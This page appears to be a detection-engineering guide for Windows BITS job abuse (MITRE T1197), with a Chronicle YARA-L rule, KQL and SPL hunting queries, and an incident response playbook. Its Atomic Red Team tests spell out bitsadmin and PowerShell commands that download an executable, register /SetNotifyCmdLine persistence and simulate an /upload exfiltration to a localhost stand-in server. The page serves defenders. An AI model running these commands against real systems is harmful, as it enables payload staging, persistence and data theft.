T1197 Google Chronicle · YARA-L

Detect BITS Jobs in Google Chronicle

Adversaries may abuse Windows Background Intelligent Transfer Service (BITS) jobs to persistently execute code and perform background tasks such as downloading malicious payloads, executing arbitrary programs on job completion or error, and cleaning up artifacts. BITS is a COM-based file transfer mechanism built into Windows, commonly used by Windows Update and software installers. Adversaries exploit it via bitsadmin.exe or PowerShell BITS cmdlets to download tools from external infrastructure, achieve persistence using /SetNotifyCmdLine to invoke arbitrary executables when a job completes or errors (including after reboots), and exfiltrate data. BITS jobs are stored in a binary database (%ALLUSERSPROFILE%\Microsoft\Network\Downloader\) rather than in registry or filesystem, making them resistant to many persistence-focused detections. Active threat groups including APT39, APT41, Leviathan, Patchwork, and Wizard Spider have leveraged BITS for payload delivery and persistence.

MITRE ATT&CK

Tactic
Defense Evasion Persistence
Technique
T1197 BITS Jobs
Canonical reference
https://attack.mitre.org/techniques/T1197/

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral
rule bits_jobs_abuse_t1197 {
  meta:
    author = "Argus Detection Engineering"
    description = "Detects BITS job abuse via bitsadmin.exe or PowerShell BITS cmdlets for payload download, persistence via notification commands, or staging to suspicious directories. Maps to MITRE ATT&CK T1197."
    mitre_attack_tactic = "Persistence, Defense Evasion"
    mitre_attack_technique = "T1197"
    severity = "HIGH"
    confidence = "HIGH"
    version = "1.0"
    created = "2026-04-18"

  events:
    $e.metadata.event_type = "PROCESS_LAUNCH"
    $e.target.process.file.full_path != ""

    (
      // Branch 1: bitsadmin.exe with suspicious arguments
      (
        re.regex($e.target.process.file.full_path, `(?i)bitsadmin\.exe$`) and
        (
          re.regex($e.target.process.command_line, `(?i)(/SetNotifyCmdLine|/SetNotifyFlags|/transfer|/addfile|/reset)`) or
          re.regex($e.target.process.command_line, `(?i)(\\AppData\\|\\Users\\Public\\|\\ProgramData\\|\\Windows\\Temp\\|C:\\Temp\\)`) or
          re.regex($e.target.process.command_line, `(?i)\.(exe|dll|ps1|bat|cmd|vbs|js|hta)(\s|$)`) or
          (
            re.regex($e.target.process.command_line, `https?://`) and
            not re.regex($e.target.process.command_line, `(?i)(microsoft\.com|windowsupdate\.com|windows\.com)`)
          )
        )
      ) or
      // Branch 2: PowerShell BITS cmdlets with suspicious indicators
      (
        re.regex($e.target.process.file.full_path, `(?i)(powershell|pwsh)\.exe$`) and
        re.regex($e.target.process.command_line, `(?i)(Start-BitsTransfer|New-BitsTransfer|Add-BitsFile|Get-BitsTransfer|Set-BitsTransfer)`) and
        (
          re.regex($e.target.process.command_line, `(?i)(\\AppData\\|\\Users\\Public\\|\\ProgramData\\|\\Windows\\Temp\\)`) or
          (
            re.regex($e.target.process.command_line, `https?://`) and
            not re.regex($e.target.process.command_line, `(?i)(microsoft\.com|windowsupdate\.com|windows\.com)`)
          ) or
          re.regex($e.target.process.command_line, `(?i)\.(exe|dll|ps1|bat|cmd|vbs|hta)(\s|$)`)
        )
      )
    )

  condition:
    $e
}
high severity high confidence

Chronicle YARA-L 2.0 rule detecting BITS job abuse via bitsadmin.exe or PowerShell BITS cmdlets. Branch 1 targets bitsadmin.exe with notification callbacks, suspicious download destinations or file extensions, or downloads from non-Microsoft URLs. Branch 2 targets PowerShell BITS cmdlets (Start-BitsTransfer, New-BitsTransfer, Add-BitsFile) with suspicious destination paths or external URLs.

Data Sources

Google Chronicle SIEMWindows Endpoint Telemetry via Chronicle ForwarderSysmon UDM Ingestion

Required Tables

UDM events with metadata.event_type = PROCESS_LAUNCH

False Positives & Tuning

  • Legitimate Windows Update or Defender signature updates using bitsadmin.exe targeting microsoft.com — the domain regex exclusion handles most cases but monitor for edge cases with URL redirection through intermediate CDN domains
  • Enterprise patch management systems (WSUS, Intune) invoking BITS for package distribution to ProgramData — validate parent process is a known management agent (MicrosoftEdgeUpdate.exe, MsMpEng.exe, etc.)
  • Developer or DevOps scripts using Start-BitsTransfer to download build artifacts or dependencies to local temp directories — correlate principal.user.userid with known developer accounts

Other platforms for T1197


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 BITSAdmin Download from External URL

    Expected signal: Sysmon Event ID 1: Process Create with Image=bitsadmin.exe, CommandLine containing '/transfer' and 'http://127.0.0.1:8080/test.exe' and '%TEMP%\df00tech-test.exe'. Microsoft-Windows-Bits-Client EventID 3 (job created with name 'df00tech-test'). EventID 60 (job error, since no HTTP server is listening at 127.0.0.1:8080 — but job creation telemetry still fires). Security Event ID 4688 (if command line auditing enabled).

  2. Test 2 BITS Persistence via SetNotifyCmdLine

    Expected signal: Sysmon Event ID 1: Four separate bitsadmin.exe Process Create events — for /create, /addfile, /SetNotifyCmdLine (CommandLine contains 'cmd.exe /c calc.exe'), and /SetNotifyFlags. Microsoft-Windows-Bits-Client EventID 3 (job creation). If the job errors (no HTTP server), the notify command fires: Sysmon EventID 1 for cmd.exe spawned by svchost.exe (BITS service) with ParentCommandLine containing BITS service context.

  3. Test 3 PowerShell Start-BitsTransfer to Suspicious Location

    Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Start-BitsTransfer' and '$env:APPDATA' and 'payload.exe'. Microsoft-Windows-Bits-Client EventID 3 (job created programmatically). PowerShell ScriptBlock Log EventID 4104 with full Start-BitsTransfer cmdlet parameters. Sysmon EventID 3: Network connection attempt from svchost.exe (BITS service) to 127.0.0.1:8080.

  4. Test 4 BITSAdmin Upload for Exfiltration Simulation

    Expected signal: Sysmon Event ID 1: bitsadmin.exe Process Create with '/upload' in CommandLine. Microsoft-Windows-Bits-Client EventID 3 (job created with upload type). Sysmon EventID 3: Outbound network connection from svchost.exe to 127.0.0.1:8080. EventID 60 (job error, connection refused) with upload direction noted in event data.


Response Playbook

Triage

  1. Identify the bitsadmin.exe or PowerShell BITS command line in full — look specifically for /SetNotifyCmdLine which registers an executable to run on job completion or error (persistence indicator) and /transfer or Start-BitsTransfer with external URLs
  2. Decode the download URL: extract the source URL from the command line and check it against threat intelligence (VirusTotal, URLhaus, Shodan). Non-Microsoft external URLs downloading executables to writable directories are high-priority
  3. Inspect the BITS job database for all active and completed jobs using: bitsadmin /list /allusers /verbose — note job names, remote URLs, local destination paths, and especially any notify command lines registered
  4. Check the parent process context — was bitsadmin.exe or PowerShell spawned by Office applications, script hosts (wscript.exe, mshta.exe), cmd.exe from a scheduled task, or an unknown process? Legitimate BITS usage originates from TrustedInstaller, SYSTEM, or known software updater processes
  5. Verify the destination path — files written to %TEMP%, %AppData%, C:\ProgramData, or C:\Users\Public are suspicious. Legitimate Windows Update writes to %WINDIR%\SoftwareDistribution\Download\ under SYSTEM context
  6. Check if the download has already completed: look for new files at the destination path matching the expected filename, and check file creation timestamps against the BITS job event timeline
  7. Review concurrent or subsequent process creation — did bitsadmin.exe or a BITS notification trigger execution of a downloaded payload? Check DeviceProcessEvents for new child processes in the same timeframe

Containment

  1. Cancel all suspicious BITS jobs immediately using: bitsadmin /reset /allusers — this removes all queued and active jobs for all users; for targeted removal: bitsadmin /cancel {job-guid}
  2. If a payload has already been downloaded to disk, quarantine the file via EDR before deletion to preserve it as forensic evidence
  3. If a /SetNotifyCmdLine executable has been registered and the job is still active, the payload will execute on next job completion or system reboot — isolate the endpoint from the network before cancelling jobs or rebooting
  4. If the user account was used to create BITS jobs from an unusual context (not their normal work activity), disable the account in Active Directory and revoke active sessions
  5. Block the download source URL/domain at the web proxy, DNS sinkholes, and perimeter firewall; check for the same URL across all endpoints in your environment
  6. If lateral movement is suspected (same URL or BITS job name observed on multiple endpoints), pivot to isolate affected systems and check for shared credential usage

Evidence Collection

  1. BITS Job Database: %ALLUSERSPROFILE%\Microsoft\Network\Downloader\qmgr*.dat — copy these binary files before cancelling jobs; they contain job history, remote URLs, local paths, and notification commands
  2. Microsoft-Windows-Bits-Client/Operational Event Log — EventID 3 (Job created), 59 (Job transferred/completed), 16 (Peer cache download), 60 (Job error) — collect the full log with bitsadmin job GUIDs
  3. Process Creation Events — Sysmon Event ID 1 or Security Event ID 4688 (with command line auditing) for bitsadmin.exe and any notification-triggered executables
  4. Network Connection Events — Sysmon Event ID 3 for outbound BITS connections; BITS typically uses HTTP/HTTPS (ports 80/443) and may use SMB (445) for peer caching
  5. File Creation Events — Sysmon Event ID 11 for any files written to disk by the BITS service (process: svchost.exe hosting BITS) or by the notify command executable
  6. PowerShell ScriptBlock Logs — Event ID 4104 from Microsoft-Windows-PowerShell/Operational if BITS cmdlets were invoked via PowerShell
  7. Prefetch Files — C:\Windows\Prefetch\BITSADMIN.EXE-*.pf for execution timestamps and loaded modules
  8. Downloaded File Metadata — run Get-Item on destination path to extract Zone.Identifier alternate data stream (ADS) which records the source URL for browser/BITS downloads

Escalation Criteria

  • !/SetNotifyCmdLine used to register an executable payload — this is confirmed persistence, not just a download; escalate immediately regardless of payload destination
  • !Downloaded payload written to a startup directory, scheduled task path, or service binary location — indicates chained persistence beyond the BITS job itself
  • !BITS download source URL resolves to a recently registered domain, bulletproof hosting provider, dynamic DNS service, or matches known C2 infrastructure in threat intelligence
  • !bitsadmin.exe or BITS notification triggered execution of a secondary payload (confirm via process tree) — indicates successful malware staging
  • !Same BITS download URL or job name observed across multiple endpoints in a short time window — indicates automated propagation, potentially ransomware pre-staging (Wizard Spider pattern)
  • !BITS job created under a privileged account (Domain Admin, service account) outside of a change window or without a corresponding ticket
  • !BITS used with /upload or upload-reply flags — indicates potential data exfiltration channel (APT39 documented pattern)

Investigation Guide

Related Techniques

Forensic Artifacts

  • >BITS Job Database: %ALLUSERSPROFILE%\Microsoft\Network\Downloader\qmgr0.dat and qmgr1.dat — binary files containing full job history; parse with bitsparser or BITSInspector tools
  • >Event Log: Microsoft-Windows-Bits-Client/Operational — EventID 3 (job creation with job name and owner SID), EventID 59 (transfer complete with remote URL and bytes transferred), EventID 60 (job error details)
  • >Event Log: Microsoft-Windows-Bits-Client/Analytic (verbose, requires manual enable) — records each HTTP request made by BITS including full URLs
  • >Registry: HKLM\SYSTEM\CurrentControlSet\Services\BITS — service configuration; check ImagePath and Start type
  • >Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\BITS — per-user BITS settings and job GUIDs
  • >Prefetch: C:\Windows\Prefetch\BITSADMIN.EXE-*.pf — execution history with timestamps and DLLs loaded
  • >Zone.Identifier ADS: Run Get-Item <downloaded_file> -Stream * to retrieve Zone.Identifier stream containing the download source URL
  • >Network Artifacts: BITS uses HTTP/HTTPS Range requests; look for partial content (206) HTTP responses in proxy logs corresponding to BITS transfer timestamps
  • >File System: %WINDIR%\SoftwareDistribution\Download\ — legitimate Windows Update BITS downloads land here; payloads landing elsewhere are anomalous

Tuning Guidance

The highest-signal indicator is /SetNotifyCmdLine — legitimate software almost never uses this flag; alert on all instances until you have confirmed legitimate exceptions. For download detection, build an allowlist of known-good (account, parent process, destination path, URL domain) tuples. Baseline by examining Microsoft-Windows-Bits-Client EventID 59 (job transferred) logs for 30 days — the vast majority of entries will be Windows Update (TrustedInstaller/SYSTEM), SCCM (CcmExec.exe parent), or known software updater accounts. Suppress alerts where AccountName is SYSTEM or NT AUTHORITY\NETWORK SERVICE AND the URL domain ends in .windowsupdate.com, .microsoft.com, .delivery.mp.microsoft.com, or .windows.com. For PowerShell BITS cmdlets, the context of the invoking script matters more than the cmdlet itself — Start-BitsTransfer from a known deployment script is noise; Start-BitsTransfer in an interactive session or from an Office process parent is high signal. Consider raising alert severity when the initiating process is not in the list: {svchost.exe, TrustedInstaller.exe, CcmExec.exe, msiexec.exe, wusa.exe}. Enable Microsoft-Windows-Bits-Client/Analytic log (disabled by default) on high-value targets for URL-level visibility without requiring command line parsing.


Hunting Queries

Hunt specifically for /SetNotifyCmdLine usage which registers an arbitrary command to execute when a BITS job completes, errors, or is modified — including after system reboots. This is the primary BITS persistence mechanism used by UBoatRAT and other malware. Any use of /SetNotifyCmdLine outside of known software updaters should be investigated.

Hunting — KQL
kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "bitsadmin.exe"
| where ProcessCommandLine has "/SetNotifyCmdLine"
| extend NotifyCmd = extract(@"/SetNotifyCmdLine\s+\{[^}]+\}\s+(.+)$", 1, ProcessCommandLine)
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, NotifyCmd,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  Image="*\\bitsadmin.exe" CommandLine="*/SetNotifyCmdLine*"
| rex field=CommandLine "/SetNotifyCmdLine\s+\{[^}]+\}\s+(?<NotifyCmd>.+)$"
| table _time, host, User, CommandLine, NotifyCmd, ParentImage, ParentCommandLine
| sort - _time

Hunt for svchost.exe (which hosts the BITS service) creating executable files in writable user-accessible directories. The BITS service runs as svchost.exe hosting BITSSvc and writes downloaded files directly — this query finds BITS downloads landing in suspicious locations without requiring bitsadmin.exe visibility, catching cases where BITS API is called programmatically.

Hunting — KQL
kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "svchost.exe"
| join kind=inner (
    DeviceFileEvents
    | where Timestamp > ago(7d)
    | where FolderPath has_any ("\\AppData\\", "\\Users\\Public\\", "\\ProgramData\\", "\\Windows\\Temp\\")
    | where FileName has_any (".exe", ".dll", ".ps1", ".bat")
    | where InitiatingProcessFileName =~ "svchost.exe"
) on DeviceName
| where Timestamp1 between (Timestamp .. (Timestamp + 5m))
| project FileCreatedAt=Timestamp1, DeviceName, AccountName=AccountName1,
          CreatedFile=FolderPath, FileName=FileName1,
          InitiatingProcess=InitiatingProcessCommandLine1
| sort by FileCreatedAt desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
  Image="*\\svchost.exe"
  (TargetFilename="*\\AppData\\*" OR TargetFilename="*\\Users\\Public\\*" OR
   TargetFilename="*\\ProgramData\\*" OR TargetFilename="*\\Windows\\Temp\\*")
  (TargetFilename="*.exe" OR TargetFilename="*.dll" OR TargetFilename="*.ps1" OR TargetFilename="*.bat")
| table _time, host, User, TargetFilename, Image, ProcessId
| sort - _time

Hunt for unusual volume or spread of bitsadmin.exe executions. High job counts from a single account or spread across multiple devices may indicate automated malware staging (Wizard Spider uses WMIC to push bitsadmin commands to all compromised hosts pre-ransomware). Normal environments see very few manual bitsadmin.exe invocations — volume anomalies are a reliable signal.

Hunting — KQL
kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "bitsadmin.exe"
| summarize JobCount=count(), UniqueDevices=dcount(DeviceName),
            Commands=make_set(ProcessCommandLine, 10),
            FirstSeen=min(Timestamp), LastSeen=max(Timestamp)
          by AccountName, InitiatingProcessFileName
| where JobCount > 5 or UniqueDevices > 3
| sort by UniqueDevices desc, JobCount desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  Image="*\\bitsadmin.exe"
| stats count as JobCount, dc(host) as UniqueDevices,
        values(CommandLine) as Commands,
        earliest(_time) as FirstSeen, latest(_time) as LastSeen
  by User, ParentImage
| where JobCount > 5 OR UniqueDevices > 3
| sort - UniqueDevices, - JobCount

Atomic Red Team Tests

Test 1 BITSAdmin Download from External URL
windows

Uses bitsadmin.exe to create a BITS transfer job that downloads a file from an external HTTP server to a temp directory. This simulates the documented technique used by APT41, Cobalt Strike, Egregor, and ProLock for payload staging. Uses /transfer (combined create/addfile/resume/complete) for a single-command download. The destination is set to a suspicious temp path.

Command

powershell
bitsadmin /transfer df00tech-test /download /priority normal http://127.0.0.1:8080/test.exe %TEMP%\df00tech-test.exe

Cleanup

powershell
bitsadmin /cancel df00tech-test
del %TEMP%\df00tech-test.exe 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=bitsadmin.exe, CommandLine containing '/transfer' and 'http://127.0.0.1:8080/test.exe' and '%TEMP%\df00tech-test.exe'. Microsoft-Windows-Bits-Client EventID 3 (job created with name 'df00tech-test'). EventID 60 (job error, since no HTTP server is listening at 127.0.0.1:8080 — but job creation telemetry still fires). Security Event ID 4688 (if command line auditing enabled).

Expected Detection

Alert fires on bitsadmin.exe with /transfer and SuspiciousDest=true (TEMP path) and SuspiciousExt=true (.exe). SPL SuspicionScore >= 3. KQL: HasTransfer=true, SuspiciousDest=true, SuspiciousExt=true.

Test 2 BITS Persistence via SetNotifyCmdLine
windows

Creates a BITS job and registers a notification command (/SetNotifyCmdLine) that will execute calc.exe (a safe payload substitute) whenever the job completes, errors, or is modified — including after system reboots. This is the exact persistence mechanism used by UBoatRAT to maintain execution across reboots. The job is put in a permanent error state to trigger the notification.

Command

powershell
bitsadmin /create df00tech-persist
bitsadmin /addfile df00tech-persist http://127.0.0.1:8080/payload.exe %TEMP%\payload.exe
bitsadmin /SetNotifyCmdLine df00tech-persist cmd.exe "/c calc.exe"
bitsadmin /SetNotifyFlags df00tech-persist 3
bitsadmin /resume df00tech-persist

Cleanup

powershell
bitsadmin /cancel df00tech-persist

Expected Telemetry

Sysmon Event ID 1: Four separate bitsadmin.exe Process Create events — for /create, /addfile, /SetNotifyCmdLine (CommandLine contains 'cmd.exe /c calc.exe'), and /SetNotifyFlags. Microsoft-Windows-Bits-Client EventID 3 (job creation). If the job errors (no HTTP server), the notify command fires: Sysmon EventID 1 for cmd.exe spawned by svchost.exe (BITS service) with ParentCommandLine containing BITS service context.

Expected Detection

Alert fires on /SetNotifyCmdLine pattern — this is the highest-confidence BITS persistence indicator. KQL: HasNotify=true. SPL: HasNotify=1, SuspicionScore >= 1. The hunting query specifically targeting /SetNotifyCmdLine will capture the notify executable registered.

Test 3 PowerShell Start-BitsTransfer to Suspicious Location
windows

Uses PowerShell's Start-BitsTransfer cmdlet to download a file to a user-writable directory. This simulates adversary use of native PowerShell BITS integration to avoid spawning bitsadmin.exe (which may be monitored), as documented in Patchwork and Bazar campaigns using PowerShell-based BITS downloads.

Command

powershell
powershell.exe -NoProfile -Command "Start-BitsTransfer -Source 'http://127.0.0.1:8080/payload.exe' -Destination '$env:APPDATA\df00tech-bits-test.exe' -Asynchronous"

Cleanup

powershell
powershell.exe -Command "Get-BitsTransfer | Where-Object {$_.DisplayName -eq 'df00tech-bits-test*'} | Remove-BitsTransfer"; Remove-Item $env:APPDATA\df00tech-bits-test.exe -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Start-BitsTransfer' and '$env:APPDATA' and 'payload.exe'. Microsoft-Windows-Bits-Client EventID 3 (job created programmatically). PowerShell ScriptBlock Log EventID 4104 with full Start-BitsTransfer cmdlet parameters. Sysmon EventID 3: Network connection attempt from svchost.exe (BITS service) to 127.0.0.1:8080.

Expected Detection

Alert fires on PowerShell with Start-BitsTransfer, SuspiciousDest=true (AppData path), SuspiciousExt=true (.exe). KQL: PowerShellBITS branch triggers with SuspiciousDest=true and SuspiciousExt=true. SPL SuspicionScore >= 2.

Test 4 BITSAdmin Upload for Exfiltration Simulation
windows

Uses bitsadmin.exe /upload to demonstrate the exfiltration capability of BITS documented in APT39 campaigns. Attempts to upload a benign file to a non-existent server — the attempt fails safely but generates the critical telemetry showing upload (outbound exfiltration) rather than download usage of BITS.

Command

powershell
echo test_exfil_content > %TEMP%\df00tech-exfil-test.txt
bitsadmin /transfer df00tech-exfil /upload /priority normal http://127.0.0.1:8080/upload %TEMP%\df00tech-exfil-test.txt

Cleanup

powershell
bitsadmin /cancel df00tech-exfil
del %TEMP%\df00tech-exfil-test.txt 2>nul

Expected Telemetry

Sysmon Event ID 1: bitsadmin.exe Process Create with '/upload' in CommandLine. Microsoft-Windows-Bits-Client EventID 3 (job created with upload type). Sysmon EventID 3: Outbound network connection from svchost.exe to 127.0.0.1:8080. EventID 60 (job error, connection refused) with upload direction noted in event data.

Expected Detection

Alert fires on bitsadmin.exe with /upload pattern (matched by general /transfer detection branch) and SuspiciousDest=true. The upload direction is a strong exfiltration indicator — the hunting query for BITS abuse volume anomalies will catch repeated upload attempts. Analysts should specifically note the /upload flag indicating outbound data transfer.

Related Detections